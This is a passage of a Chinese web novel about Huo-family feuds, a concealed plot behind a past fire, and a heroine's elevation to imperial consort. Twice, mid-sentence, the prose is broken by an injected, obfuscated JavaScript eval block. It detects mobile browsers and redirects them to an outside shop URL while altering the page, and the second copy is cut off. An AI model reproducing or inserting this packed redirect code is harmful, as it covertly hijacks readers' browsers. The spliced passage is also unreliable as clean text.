“表哥只是有怨气才故意给我和小姨摆脸,他清楚事情有多么严重,会同我商议,我这就去奕风楼找表哥。”霍振羽放下话便再往外走,晏四晏七请示姨娘是否该拦时,霍巨浪喊住他提醒:“再商议还是得回归霍家,找你表哥有用吗?” “是祖父!”霍振羽纠正,隐有对峙意:“只要晏家能出面重新说服祖父,就行。” 霍巨浪盯着这个对他包藏敌意的堂弟不由心底发凉,干脆激道:“祖父都多大年纪了,你总该知道霍家谁当家;就算祖父答应,将来蓁蓁想坐稳凤座得靠谁?倘若没有家族撑腰,皇后照样能被废,这道理你都不懂吗?” 满堂静得落针可闻,在场所有奴婢和护卫都低头降低存在感,佟梦佶担心这外甥要横冲直撞忙给他使眼色,霍振羽忽略掉小舅的好意对堂兄冷笑:“不劳大伯和堂哥们操心,蓁蓁有父亲兄姐和外祖家还有外祖家的姻亲都可以给她做助力。” 一问一答间泾渭分明,屋中氛围彻底改变,这对堂兄弟冲突对立的尖锐已然再难遮掩。 霍巨浪心底的冷意难以遏制地扩散,佟梦佶被气得胸闷气短,晏煦之默默捂脸,连做隐形人的晏如瑰都打量他,隐在暗中观摩的晏霁之也被气得差点想摔折扇。 霍灵渠垂眸掩住眼底的晦涩,佟四夫人下意识紧张,顺郡王妃也觉得好像有不对劲,可外甥答得没错啊,他们又没指望能再靠穆国公这房。 对峙让时间仿佛凝固,呼吸都被变得缓慢,佟梦佶快速缓和下想弥补被拦住,霍巨浪对他说既然是霍家的事就让霍家人自己处理,你这位小舅舅若看不惯可以回避。 佟梦佶只得致歉,甚至不在意被那么多奴婢和护卫围观,心里火烧火燎的郁气都压不住,冷笑想还真是被老太太教养的外孙,果然一个德行。 “哈哈,父亲兄姐,连外祖家的姻亲都考虑到了,谋划设想得可真周到。”霍巨浪哈哈大笑,抬手给他鼓掌:“可惜抵用的没有,父亲?你父亲稀罕做国丈吗? 是你们兄妹满心要争夺皇后位,二叔可根本不在意,你都看不懂吗?姐姐家,武襄侯府能有你庶妹做主的份儿吗?而你所谓的外祖家姻亲,除了晏家和顺郡王府,谁家还能越过佟家出头?可晏家自家都能出位娘娘,还能管你妹妹? 顺郡王倒是有可能,可惜他手里没权柄,他这堂弟在圣人面前也没有脸面;而佟家得巴望着明日册封的贵妃会姓佟才能给你们兄妹出点力,可惜贵妃已经落定了,太后亲自和陛下谈妥的,你就不想知道贵妃自出谁家吗?” ‘晏家自家都能出位娘娘’太具蛊惑和欺骗性,顺郡王妃神情变了,霍振羽亦是联想到而脸忽青忽白:“你是说贵妃将是英王的庶女吗?” 佟梦佶诚然也这般想可是已经高兴不起来,晏煦之和堂弟眼神交流下,忽然很头疼。 桓炜若和桓炜彤更觉头疼,如果晏家出位贵妃,将来的继后姓霍,那霍皇后和晏贵妃能和睦相处吗?如果不能,她们姐妹乃至娘家桓国公府该如何是好? 霍巨浪没理会而是转向对佟梦佶道:“前天佟尚书冒雨赶到霍家接佟老夫人,听说回府时不慎淋雨病倒,还在卧榻养病,你们夫妇带郡王妃和外甥回去给佟尚书探探病吧。” 他父亲确实犯病还在卧榻休养,但不是淋雨而是被那位嫡母给气的,若非料想老太太跑晏家闹不出事否则都想亲自来接,佟梦佶对把人带走没意见,只是:“可我母亲?” “不妨事,佟老夫人疲累时自会回佟家,哪怕不想回佟家要在岚瑟居留宿都不妨事。”晏霁之身着青白丝织的飘逸宽袍出现在花厅门槛前,他跨进门槛走到霍灵渠身侧,明显察觉到背后有道灼热视线,他转身对视,语气平平淡淡:“何事?” 一种屈辱辛酸猛地涌进心田直冲鼻端,霍振羽鼻头酸涩极了,咬牙争取道:“表哥你的庶妹有自己的同母亲兄弟,还能比蓁蓁更向着你吗?你帮庶妹得不偿失的。” 晏煦之真是快醉了,顺郡王妃想帮衬被庶弟拉住,她欲训斥时迎着庶弟从未见过的严厉神情莫名有点怕,抿抿唇不说话了。佟梦佶现在就不想再管,随便这外甥折腾。 “所以呢,我应该舍掉自己的妹妹帮你妹妹吗?”晏霁之握握折扇,险些控制不住冷静:“你没想过按你的想法会让我成为整个家族的众矢之的吗? 我真的好奇在你堂兄告诉你,晏家能出位娘娘时你怎么还能开口让我帮你妹妹?能说说你什么心态吗,是只要能让你妹妹做皇后让你成为国舅、其他都无所谓吗?” “我没有、我知道表哥你也为难…我…我只是…”霍振羽语塞,心里像有股火在烧,正磕磕绊绊时忽然灵光闪过连忙辩解:“我的意思是表哥你帮蓁蓁才对你和晏家都有好处啊,未央跟你和晏家又没关系,晏家帮蓁蓁才对我们大家都好啊。” 霍巨浪疲惫低头揉揉眉心,他认为他哥做得太狠而对堂弟堂妹有愧疚兼可怜他们兄妹都快被消磨殆尽了。霍二奶奶看眼丈夫,心中发笑,这兄妹俩还想要在霍家立足吗? 晏霁之深呼吸握紧折扇,对佟梦佶道:“小舅带小姨和外甥回佟家吧,我就不多送了。” 佟梦佶尚未应话,霍振羽大喊声表哥冲进屋,他岂能看不懂这是在拒绝,可他没有说错,为何要拒绝:“表哥你还有什么为难,蓁蓁才会向着晏家,你和大姨夫难道还想指望未央会对晏家存善意吗?你和姨夫出面说服我祖父重新捧蓁蓁才是对我们都好的事啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459244|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋内噤若寒蝉,佟梦佶不想再管都被气得七窍生烟眼前发黑,他可真是好样的?!做隐形人的晏如瑰冒出个念头,霍振羽难道是日子太顺遂从未受过委屈才如此天真吗? 顺郡王妃拧着眉就觉得怎么听怎么别扭,悄悄拿眼瞥弟妹;佟四夫人苦笑,这外甥当真知道自己在说什么吗?霍家得多想不开才会捧个向着外人的霍氏女? 桓炜彤甚至觉得这兄妹俩还真是,只要能做皇后做国舅,其余一概无所谓。 晏霁之握紧拳头,喘息平复道:“流光帮我接句话。” 闻言,霍灵渠迈过几步,直视他,当着众目睽睽询问:“霍四爷何苦如此执泥?你们已经享尽世间荣华富贵,你妹妹不做皇后也不会影响你们的富贵生活。 三天前英王妃践踏圣人的尊严连累外甥女,霍家自然得做表态,你也怪不得伯父堂兄。既然事已至此,你何不帮家族管住母亲和妹妹的妄想,这不是对你们兄妹更好吗?” “你这内宅妾室懂什么?什么连累什么怪不得,大姨的事哪能累及蓁蓁,这根本是大伯他们存心想要毁掉蓁蓁的前程好捧未央。”霍振羽气怒斥道:“他们那么狠能怨我翻脸吗?被欺压至此,我若再不争取,将来岂非要被逼迫得没有立锥之地?!” 宽敞明亮的花厅好似突然被乌云压顶般沉闷,晏霁之拉霍灵渠护到身后,忍无可忍怒喝:“霍振羽你二十岁了,你有没有点是非曲直观念! 你们想让霍蓁蓁做皇后,这只是个想法,要让这想法化作前程必须得仰赖霍家,可霍家是谁在执掌,难道是你们兄妹吗?你的伯父穆国公才是霍家的家主。是穆国公在执掌霍家,穆国公才能够把你们兄妹的想法化作前程变为现实,你们自己哪来前程? 但穆国公不肯帮又如何,你有资格谴责他不帮吗?他又不欠你们,毁掉二字你就不觉得荒谬吗?况且何谓被欺压,你们兄妹享有的所有荣华富贵难道不是霍家给而是自己挣来吗?是你们仰赖霍家存活,是霍家在给予你们一切,你说被霍家欺压岂非荒唐吗? 更何况霍家荣华富贵把你们养大,非但没有丝毫感恩,不顺你的心意就敢想靠霍家占据高位之后联合外人把霍家踹开?!你有种啊,你还和白眼狼有区别吗?” 晏霁之措辞冷硬,掷地有声恭维:“你可真了不得!” 站满人的屋里屋外陷入死亡般沉寂,顺郡王妃心头砰砰乱跳,吓得跌退几步险些摔倒。霍振羽脸火辣辣而背脊冒冷气,想反驳偏偏好像每句话都能堵死他令他无从辩驳,就在冷热相交中想到个错漏忙如抓住救命稻草般驳斥:“谁说靠穆国公,是靠祖父!” 霍灵渠垂头闭闭眼,晏霁之定定看他,下逐客令:“煦之、如瑰,送客。” 晏煦之叹口气,欲上前哪想看到霍振羽飚泪往外跑,他:“……”他终于明白为何这位都二十岁还能屁颠屁颠跟在娘身后,这还是个没断奶的娃。 佟梦佶忍住头痛向大外甥和霍巨浪道过歉再告辞,带他媳妇和三姐离开;霍巨浪转念想预备和晏霁之谈点事,让他媳妇先到府外等等。 晏煦之和晏如瑰各自带媳妇送客出府,霍灵渠领奴婢们和护卫退下,刚刚挤满人的花厅里外转眼间空空阔阔只剩他俩,晏霁之提议走到庭前透透气再聊。 庭前开阔四周围清净,小簇嫣红翠绿闯进眼帘油然生出种豁然开朗之感,他抬头遥望蓝湛湛的天际,问:“太后亲自和陛下谈妥的贵妃不可能出自晏家吧?” “是济善庵里那位,但这不是重点。”霍巨浪提问:“想猜猜重点是什么吗?” 晏霁之没兴趣跟他玩猜猜:“什么?” “重点是太后姑母提议将来灵渠生下皇嗣再晋位皇后,陛下同意了。”霍巨浪哭笑不得:“姑母交代时我哥差点傻眼,但太后姑母她心花怒放别提多高兴了。 饶是我爹和二叔都不敢向陛下确认,祖父有空暇就在家里骂闺女;要不是被拦着,祖父都想进宫去敲开闺女的脑壳看看?” “太后要把济善庵里那位捧做贵妃再晋位皇后,这?”这重点还真是重点,晏霁之饶是再淡定都有点错愕,真不知道皇帝和养母商量时是什么感受? “济善庵里那位的伤疤治好了?”他平复下只能想到这种可能,霍巨浪苦中作乐地笑:“能治就治,不能治好也算了。要把毁容的女人捧做皇后,太后姑母都能提的出来,陛下竟然也能应,你说我家该感谢皇帝陛下皇恩浩荡吗?” 晏霁之捂脸,他服气的,真的,怨不得老穆国公都想敲开闺女的脑壳看看。 霍巨浪缓缓疲惫的心情知会他:“济善庵里那位要进宫,不向姑母挑明都不可能了,但你该明白太后有多疼爱灵渠了,姑母不可能再容得下二婶乃至振羽和蓁蓁。” “你想让我施救?”晏霁之怀疑,霍巨浪摆摆手:“真要救也是我来救,哪能找妹夫你?我是已不知该不该救,倘若太后真要他们死,会不会按姑母的意思更好? 我怕搭救的后果只是给家族招祸害,你看他们兄妹能感恩逃过死劫尔后安稳隐居吗?如果那点堂兄弟堂兄妹情分必定得耗尽,最后的结果也相同又何必多折腾?” “再考虑吧。”晏霁之劝道:“屠刀降临前一刻尚且还会犹豫,眼下还早得很。” “我是心寒的。”霍巨浪直言不讳:“还有外祖家做助力,他不知道他的外祖家想踩着霍家包括他们兄妹当踏脚石吗?他知道啊,他们兄妹改姓佟对佟家都是外人,佟家得势之后必会捧自家人,能给他们兄妹留条命就算仁慈的。 哪怕按照他的想法是我这房要毁掉他妹妹的前程,可佟家是要把他们榨干之后再除掉,谁狠,难道不是佟家要狠得多?可他竟然也能恨我们反信赖佟家。” 霍巨浪抹把脸讽刺:“这还能是他娘带歪吗?这只能是他自己就愿意为佟家鞠躬尽瘁。我霍家二十年的荣华富贵哪里是在养白眼狼,在替佟家养马前卒吧?也许我哥说的对,他们兄妹只是披张霍姓的皮而已,他们心里从来没有姓过霍。” “我都生气,何况你们?生气时难免会偏激,等气消平静以后再考量吧。” 送到蔚然居院门前,目送霍巨浪走远,晏霁之忍不住低头捏捏眉心,他也觉得心累,或许明日册封贵妃后,那点表兄弟情谊也要走到尽头了。 过片刻转身回院里,见霍灵渠独自站在被烧毁的废墟前,晏霁之走近关怀:“有心事?” “你认为我爹会把兴献侯的爵位传给嫡子吗?”霍灵渠若有所思,他在斟酌时,婢女的禀告声响起:“世子,王妃要拿白绫悬梁自尽,奴婢们都拦不住。” 晏霁之揉揉太阳穴吩咐:“岚瑟居再派人过来不必通禀了。”打发掉婢女,他再回答:“你心里应该比我更有准数,你爹肯定会顾全你的心意,这不该是你的顾虑啊。” 霍灵渠倦怠地靠在他怀里:“我有些累,回屋吧。” “好!”晏霁之把女人打横抱起,踩过西斜的日辉走向奕风楼,滞留细长的光影纠缠。 53. 第53章 晚霞绕眉梢,满天华彩映过朵朵缤纷染成瑰丽相映成趣,最美不过夕阳红。 奕风楼二楼阳台,晏霁之抱霍灵渠躺靠在紫檀木罗汉床里教导她明日宫宴上的言行;然而女人慵懒倚靠着近乎全程闭眼,若非戳戳她有反应,晏霁之都想怀疑她睡着了。 宫宴举止教导告段落,晏霁之端起白瓷盅喝两口香茗后换话题:“武襄侯府的四奶奶,我担心这位生养会多生事端因而在她身边埋眼线防止她怀胎,未料竟得到意外收获,我怀疑这位可能是圣人早夭的六公主。” 霍灵渠惯性嗯声后:“……”嗯???她睁眼眸不可思议问他:“你说什么?” “你们姐妹很可能恨错仇人了。”晏霁之答:“授康十六年,霍家的大火很可能与霍佟氏还有佟家都没有关系,是另有有心人在暗中布局谋划,想一箭多雕。” “……”霍灵渠震惊至惊恐,捧起描牡丹花的瓷盅喝燕窝汤压压惊,倒不怀疑他骗她,她就是难以置信更有种心焦和恐慌在四肢百骸蔓延:“圣人的六公主、圣人?” 晏霁之接过她的燕窝汤放在高几,宽慰道:“我怀疑圣人同样不知情,圣人没理由要让他的女儿假死冒充霍桑柔,此事很可能是这位六公主的生母谋划,但我没有确凿把握。 前朝和后宫处处波云诡谲,不能排除还有幕后黑手。我本想把整件事的来龙去脉彻查清楚再告诉你,但你明日就要进宫做贵妃,拖不得了,只能现在就告诉你。” 霍灵渠倒吸寒气,怔怔凝眸望他:“当年、当年禁锢看管我们的那些人很明确、明确自称是佟家的奴婢,全是佟梦姿和佟家做的,要折磨我的生母,要逼我和桑柔做娼妓。” 晏霁之抚抚她的脸颊,触及她心里的伤痕:“那几年过得很苦吧?” 沉默稍许,霍灵渠握住他的手,仿佛这样能让她鼓鼓勇气去回忆往昔:“我和桑柔还好,娘才辛苦,洗衣做饭拉石磨,磨得肩膀流血皮肉烂掉都不让休息。 当年我们是在扬州,有两名管事嬷嬷四名护卫六名粗使婆看管我们,又请隐退的老鸨按瘦马标准训练我,我每日就练吹拉弹唱和跳舞,桑柔满四岁之后也被逼着开始学。” 说着,她愣下忽然想起来:“不…不对,我和娘在授康十六年初冬就被押到扬州看管,桑柔是在授康十七年暮春才被他们送来,当中相差有近半年。” “因为摆在霍家面前的是霍桑柔没有被烧伤,必须离开霍家才能运作。”晏霁之很理解:“假冒你的那位被烧伤毁容之后没几天就闹着要离开京畿,她在授康十七年正月元宵以后才带霍桑柔到山东定居,你妹妹当然得等他们在山东别庄稳定好才会被替换。” 晏霁之眯眼,眸光微变,新的疑惑滋生,以前没觉得,此刻梳理真有点怪:“是不对,我怎么觉得当年霍家的大火想害你们以及对付霍家都是因此引发的后续,制造那场大火的因由反倒像是想把霍桑柔的身份换给现在假冒的这位?” 霍灵渠不禁怔愣,惊诧问:“抢桑柔的身份?” “当年那场大火造成的是冒充你生母那位被当场烧死,假冒的霍灵渠被毁容,为何独独放过霍桑柔?如果这场阴谋只针对霍家,犯得着节外生枝画蛇添足吗?” 晏霁之提醒道:“被烧伤那位十多年来的表现就是只为妹妹活着呀,假霍桑柔的丈夫可是武襄侯府的嫡四爷,武襄侯夫人可是升平大长公主。 他家四爷是升平大长公主三十八岁生的小儿子,这场亲事有多么不对等,霍家原本只是按相匹配的挑,是济善庵里那位相中,霍家才下血本请武襄侯府点头答应。 假若幕后黑手只为对付霍家,他作甚为假霍桑柔大费周章安排锦绣前程,根本多此一举,除非此事才是阴谋的初衷,能否趁势借机对付霍家反而是后续。” 霍灵渠满眼复杂看着他,细思极恐:“圣人的六公主的生母是淑妃、就是庄太妃?” “对,且授康十六年秋霍家发生大火的时机巧极了,就在任皇后薨逝前月,而当时圣人抬举废楚王的意思已经很明显了,任皇后想在死前拉着废楚王的生母庄淑妃给她陪葬都不算是秘密;就因为庄淑妃的幼女六公主暴毙,任皇后才功亏一篑。” 晏霁之感叹:“当年甚至有谣传是庄淑妃为谋生机而亲自害死幼女。” 霍灵渠眼神直勾勾注视他,呼吸急促:“当真与霍佟氏和佟家没有瓜葛,你敢担保?” “我只能担保我有七八成把握:幕后黑手与佟家人无关。”晏霁之低头吻吻她,劝道:“我和陛下已经谈好,明日会把假冒你们姐妹的那两位抓起来押送到京畿外审问。 放心吧,必能找到线索和破绽揪出幕后真凶。况且你明日就能和家人相认,你有足够的时间和你祖父他们商议。现在不想了,跟我说说你怎么逃出来的,好吗?” 霍灵渠吸吸鼻有点鼻酸,眼底不由自主湿润了,郑重道:“谢谢你。” “傻话。”晏霁之温柔地把怀里人抱紧,霍灵渠抱住他的手臂静默半响才低低叙道:“是授康二十年夏天我娘病故,我拿我们姐妹的性命要挟,要求在我娘墓前跪守七天七夜。 我威胁那些人说如果他们不答应,我宁可带妹妹追随生母到地下也不想再苟活,他们同意支派四个粗使婆盯着我和桑柔在娘坟前守墓七天七夜。 实则我娘生前,我们一直在策划想办法逃跑,但他们看管得特别严密,始终没有机会;娘病倒后逐渐药石罔顾,娘告诉我,可能只有她死后我和桑柔才有机会逃跑。 被禁锢期间我们偷偷攒下许多东西,只要能随身携带的有用的东西都给攒着。守墓时我在那四个粗使婆的饭食里放掺着少许老鼠药的巴豆粉,趁她们虚弱得没有还击之力时把她们给绑起来,然后带桑柔逃跑;又东躲西藏,直到授康二十一年夏才回到京城。” 途中还遇到当时也在逃难的嬴天漾顺便由人家送你们姐妹回京是吧,晏霁之腹诽,真想怀疑她从扬州回京城要耗费一年是否因为随嬴天漾东躲西藏的缘故? 心里有点不是滋味,晏霁之表现还可以:“别怕,你们姐妹必能手刃真凶报仇雪恨,这十多年前的往事暂且埋藏在心底。看天快黑了,我们该下楼用晚膳,别影响食欲了。” 霍灵渠低头,低低应声好。 晚膳摆在暖阁,有香喷喷的荷叶鸡、松鼠鳜鱼、糖醋里脊、红烧排骨、有清脆爽口的翡翠虾球、鲜笋莴笋丝、菠菜粉丝、另有八宝豆腐、酥炸金糕、菌菇汤等十道菜肴。 晏霁之笑言正好给明日取个十全十美的兆头,霍灵渠配合他展颜笑笑,虽然刚得知的消息确实影响她的食欲,到底还是按平常的饭量安安静静吃完晚膳。 饭后,晏霁之拉她散步消食,两人刚手牵手走一刻钟,绿岫进前禀告:“世子,王爷派大管事请您到前院议事;府医在晚膳前进过后院,四少奶奶动胎气了。” “知道了,你们照顾好姨娘。” 晏霁之叮嘱她乖乖的放宽心思即离开,朱楼接过灯笼在前引路,走到院门前听世子问话,侧身低头禀告:“王妃要拿白绫悬梁自尽,堂少奶奶和三少奶奶四少奶奶去岚瑟居里相劝,屋里人多又挤闹,奴婢们争抢白绫时不慎推四少奶奶摔倒了。” 这种言辞自然是粉饰,粉饰被英王妃推搡摔倒,晏霁之问:“佟老太太还在府里吗?” “没,佟老夫人已在晚膳前离府,半个时辰前岚瑟居也已经传晚膳。”而王妃虽不再折腾但怒火仍然很盛,没有关怀四少奶奶也没送礼安抚,只是这话,朱楼不便直言。 “请姨娘即刻备份礼,你今夜就送过去给四少奶奶压惊。”晏霁之吩咐毕,大步往外走,长随笛生和王府大管事都提灯笼在蔚然居等着,见到世子忙行礼引路。 来到前院英王的书房前,晏霁之独自推门而入,英王晏墉正坐在书桌前聚神凝思,听到响动抬眼望去,叹道:“贵妃的人选落定了,是在霍家,霍三姑娘……” 庭前烛火明照,那遥不可及的幽深蓝黑夜幕亦点缀出若明若暗的点点星光,随夜纵深,浩瀚繁星满布广袤夜空聚成世间最美的银辉,似在遥相呼应人间温暖。 晏霁之回到蔚然居的寝屋,走到床前还没被察觉,霍灵渠痴痴愣愣沉溺在往事中,他在床沿落座都没被察觉,直到他牵起这女人的柔荑才得到点回应。 “莫再想了,今后和魏王断绝往来吧;他对你这十多年的照料,我替你致谢。” 霍灵渠似是有些恍惚,定定看眼前的男人好几息时间才如梦初醒认出般,她轻轻牵唇想笑偏偏绝美的容颜只泛起苦涩:“我还有事求着他。” “事情也我来办。”晏霁之温柔回应,霍灵渠莫名眼酸,苦笑道:“是赎罪,事情你能做,我也能求祖父和爹爹,可罪孽只能我们自己赎。若非逼到他同意,我早就和他决裂了;我想两个人犯的罪孽,能赎罪就逼着他一同弥补些吧。” “赎罪?”晏霁之惊讶:“赎什么罪,除了搞垮晏家之外魏王还让你做过什么事?” “二十岁进撷芳馆,你不觉得这年纪大吗?我真要还恩情怎会拖到二十岁开始,在此前我会没替他办过事吗?”霍灵渠抽出被握住的手,放在眼前,泪水迷蒙间好像有血雾弥漫:“你知道这双手沾过多少血腥吗?其实我早已罪孽深重死不足惜。” “灵渠、灵渠你别怕,是魏王骗你做坏事跟你没有关系,你别瞎想。”晏霁之倒吸凉气,坐到床头抱住她哄:“你别怕,你没沾染过血腥,跟我说怎么回事?” 霍灵渠眨眨眼滑落颗泪珠淌过脸颊,她抬手擦擦泪痕,苦笑道:“他要报仇、要争权、要培植属于他的势力,他告诉我,他已经安排好他的人只是苦于得不到消息不能立功升职,他只是想拿些内部消息好让他的人能够尽快立功,我信了。” “他骗你,”晏霁之肯定猜测:“他真正的目的是想把对方拔起让他的人取而代之?” 霍灵渠苦涩闭眼默认,晏霁之宽慰:“灵渠你别怕,是魏王在骗你,你也算被他害了,这件事若有罪孽也赖不到你头上。告诉我是谁家,我来帮你弥补。” “不必了。”霍灵渠转身埋首在他怀里,明显的排斥情绪。晏霁之再低叹声,只能以后再慢慢劝她释怀。抱她静坐,任由宝贵的春宵时刻在静谧中悄然流逝,直到估摸她的伤感情绪缓解得差不多他才抱她进入夜里的主题。 床笫间的热情被推高,霍灵渠开始陪他投入,谁说纵情缠绵不是种排解呢? 璀璨盛放过,浩渺繁星隐进云层睡眠,台前滴点细碎星辉也难寻觅;窗内烛火犹在,映过琉璃灯盏撒片暖暖的橘红光芒,绕过挂帘撩过轻纱帐幔,偷偷聆听那枕畔私语。 “我有点后悔了。” 烟霞色帐幔配以暖橘透暗的烛光给床帏间萦绕朦胧而安详的美,晏霁之抱她躺靠在床头,想到四个多时辰后怀抱将空,他情潮未退的眉眼间饱含难受难舍:“我就该早早要孩儿,难道蹉跎多年就落个让你对我毫无牵挂地离开吗?” 霍灵渠抬头看他,媚眼如丝春波盈盈,神情却很纯粹:“你有骄傲,不屑的。” “或许高傲也会败给寂寞。”晏霁之抬起指腹细细划过她的眉眼,柔情中渗溢着苦涩:“对我而言,我们不是才相处四年而是整整十二年,在我的梦境中还有八年。 或许你会觉得可笑,我竟把梦境当真,但对我很真实,真实到我依然记得梦中许多事,真实到我愿意把梦中八年和我们相处的四年叠加,用十二年的时光来纪念我们的往昔。” 霍灵渠莫名觉得凑巧但也没多想,就陪他纾解情绪:“是怎样的梦呀?” “很真实的梦。”晏霁之抚抚她的脸颊,魅惑勾魂的桃花眼中只有柔情缱绻,扬唇浅笑:“梦中,圣人没有禅位,我也没有掏银两让你妹妹自赎,王爷也没那么早给长房分家,更没有烧毁流光小筑和蔚然居的正房、生母去衙门状告我不孝这些事。” 授康三十四年,晏家被夺爵抄家且累及众多姻亲,但佟家没被殃及反而更得圣人重用。父亲带儿孙们前往邻县定居,我没有陪同而是在京郊搭竹屋,就带你住在竹屋里。” 霍灵渠微惊,他这梦未免太过巧合,能有如此切合的梦境吗? “我们在京郊竹屋生活两年,授康三十六年秋,圣人六十岁寿诞举国大庆,国庆期间…”晏霁之沉默下敛笑叹息:“你妹妹为报仇丧命,你难再隐忍要做个了断。”他微微涩意上涌:“是我没保护好你,我自负有把握能让你报仇后全身而退,没成想只是我自负。” 霍灵渠默默在心底倒吸寒气,抓紧男人的手臂,有点紧张问:“梦里还有后来吗?” “有啊,梦中我又独自生活过四年。”晏霁之给她拉拉锦被,抱紧她喃喃叙道:“还记得我和你讲过曾经做过个梦,梦见佟家被满门抄斩,英王妃一病不起没一年就病逝吗? 就是同个梦,梦里你离开以后,我走遍大江南北,看过西北黄沙,看过南海海礁,看过长城草原也游览过巴蜀白帝城,只是始终孑然一身,只有越做越大的生意和侵入骨髓的寂寞相伴;再往后,父亲颐养天年我接任家主,多份责任也没填补心中孤独。” 难道晏霁之他也……天爷啊?!霍灵渠心慌慌,抑住心慌抓紧他的手,试探问:“圣人那么长寿呀,你就没有梦到圣人驾崩吗?能活七十岁的老皇帝好像不多。” 晏霁之哭笑不得:“你的关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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以我的人品,如果二三十年后你想离开我,我会亏待你吗?总比你想自谋营生有保障。更何况是你自己想孤独终老,既然如此,在你美貌尚在时为何不能重新跟我?” 霍灵渠奇怪:“你怎么会想让我出宫以后再跟你呢?” “是皇帝硬生生地将你从我身边夺走又不是你我缘尽情断。”晏霁之理直气壮:“我为何不能想再续前缘?况且你是我至今唯一的女人,比起旁人,我当然会想要你。”话落,他吻吻她蛊惑:“你没有理由要拒绝,对吧?” “你对我好,我很感激,你若需要我报答,霍灵渠必定义不容辞,但我没有想过再跟你。”霍灵渠捧捧男人的脸,笑颜婉拒:“我只想独自安度余生,谢谢你的好意。” 拒绝的可真是毫不拖泥带水,晏霁之很疑惑:“难道你真喜欢魏王?” “啊?”霍灵渠惊诧:“你怎么会有这种想法?” “因为我想不出你拒绝我还非闹着想孤独终老的原因,除非你已经有喜欢的男人,你认为没有机会再与他相伴终老而心灰意懒。”语毕,晏霁之捕捉到她眼中闪过落寞,皱眉猜测:“你真有喜欢的男人,不是魏王而是你想弥补赎罪的那家?” 霍灵渠想敷衍又觉难以敷衍,迟疑稍许终垂头默认,晏霁之见状气闷得在心底爆粗口,坚持要答案:“这男人是谁?你不肯告诉我,我只能找魏王求助了。” “‘春日游,杏花吹满头。陌上谁家年少,足风流①。’”霍灵渠如扇睫毛微颤,对他苦笑:“我只是曾经奢望过,奢望在我报仇后,若我和他还能有缘,他还想娶我,我就嫁他。 在我尚不知能否成功报仇前,怎会醉心情爱?我从未敞开心扉,只是曾经有过奢望,但知道是我传递的消息才令魏王能够害他们时我就清楚什么都不可能了。” 霍灵渠抬手擦擦眼,吸吸鼻哽咽坦诚:“我确实心灰意懒连嫁人生儿育女都没有想法,但不是因为情殇,我只是累了,宁可独自生活,清静。” “‘春日游,杏花吹满头。陌上谁家年少,足风流。’”晏霁之喃喃复念,哼笑声自嘲:“三年前我碰你时为何愿意?也是因为清楚跟那位不可能了而心灰意懒吗?” 霍灵渠怔了怔,抿抿唇浮现丝感慨的笑:“有句话在我心中许久,可能你不想听——”话未尽被晏霁之急促打断:“我想听,我为何不想听?尽管畅言,我洗耳恭听。” 虽然有点尴尬,霍灵渠也真心想感谢:“你买我时,我心思还很沉重,缓和一两年我心情才逐渐恢复,谢谢你当时患有隐疾,到正徽二年才碰我。” “……”我也谢谢你知会我!晏霁之面无表情:“你还没答为何愿意?” “为何拒绝呢?我既肯入风尘,还会在意清白吗?既然做你的妾室,陪你燕好就是我的本分,何况我还有细作身份……”霍灵渠猛然愣住,惊诧看他:“我窃取的所有晏家消息、你给出的那些书信账目还有告诉我的秘密,都是真的?” “当然啊,若有假也只会是你这位细作在传递前自行作假。” 晏霁之重新占据上风,心情好转,抚抚她的脸颊揶揄:“魏王大概都已经习惯你传给他的消息多半会掺点假还得他自己再筛查遍了吧,否则他哪能这般平静?他是了解你这德性,清楚把你安排到别家做细作也还会是这种德行才一直这么放任吧。” 霍灵渠惊恐:“给真消息,你是疯了吗?” “我是觉得你这位细作真不称职,有时候我在旁边看着都替魏王辛苦。”言尽,晏霁之吻住她封缄疑惑,再带女人赴巫山尽享欢愉。 黑夜在温柔沉醉中流逝,破晓如约而至般降临,新日的阳光拨尽云雾照遍人间。 春意盛,碧绿梢头黄鹂展歌喉挤喜鹊,蜂蜜逐蝴蝶齐齐绕花丛,热闹的街巷更因今日是当今皇帝寿诞而多添喜庆,欢声笑语鼓乐歌舞洋溢国都城;但也仅此而已,正徽帝为聊表对父亲的孝心特意谕令暂停庆贺皇帝生辰的繁文缛节。 若非还要册封位贵妃,按往年例,今日宫里哪会举办宫宴。 贵妃,贵妃?!翘首以盼大半年总算能揭晓了,自翰林院掌院清早被宣进宫负责传旨,就有人家派随从远远守在皇城前;当乌掌院和禁军统领携圣旨带着迎贵妃的仪仗队和禁军走出皇城时都不知已经汇聚多少看热闹的,霍雄鹰、晏和之这群公子哥儿都凑着。 大家伙就跟着仪仗队走在后,初时三三两两还挺雀跃,或猜或打赌这贵妃位花落谁家,只是越走越觉方向不对劲,疑窦嘀咕声渐起。等到乌掌院和大统领真携圣旨走到穆国公府霍家大宅前,霍雄鹰脚底打滑差点摔倒,娘啊,玩他吗?! 跟随的这批人集体震惊哗然,出行的宫婢和禁军们皆心惶惶然,乌掌院也觉得有点瘆啊,谁能想到陛下挑选大半年竟然会绕回霍家! 可圣旨明明白白捧着呢,陛下的交代也清清楚楚,只得请霍家诸位出府接旨。 “朕闻古来帝王,齐家治国而天下平,未有家齐而天下不治也;朕固率道,以临万邦。刑部侍郎霍漓江长女霍氏灵渠,祥会钟鼎望族,幼秉太后慈训,蕙心纨质,谦恭仁谨,玉粹修美,渊靓臻善,宜崇礼册,俾举彝章。特册封贵妃,敬循礼节,以率嫔御,钦哉!” 54. 第54章 朗朗晴空下,圣旨既出,贵妃落定,乃霍家霍灵渠是也,再容不得任何猜疑。 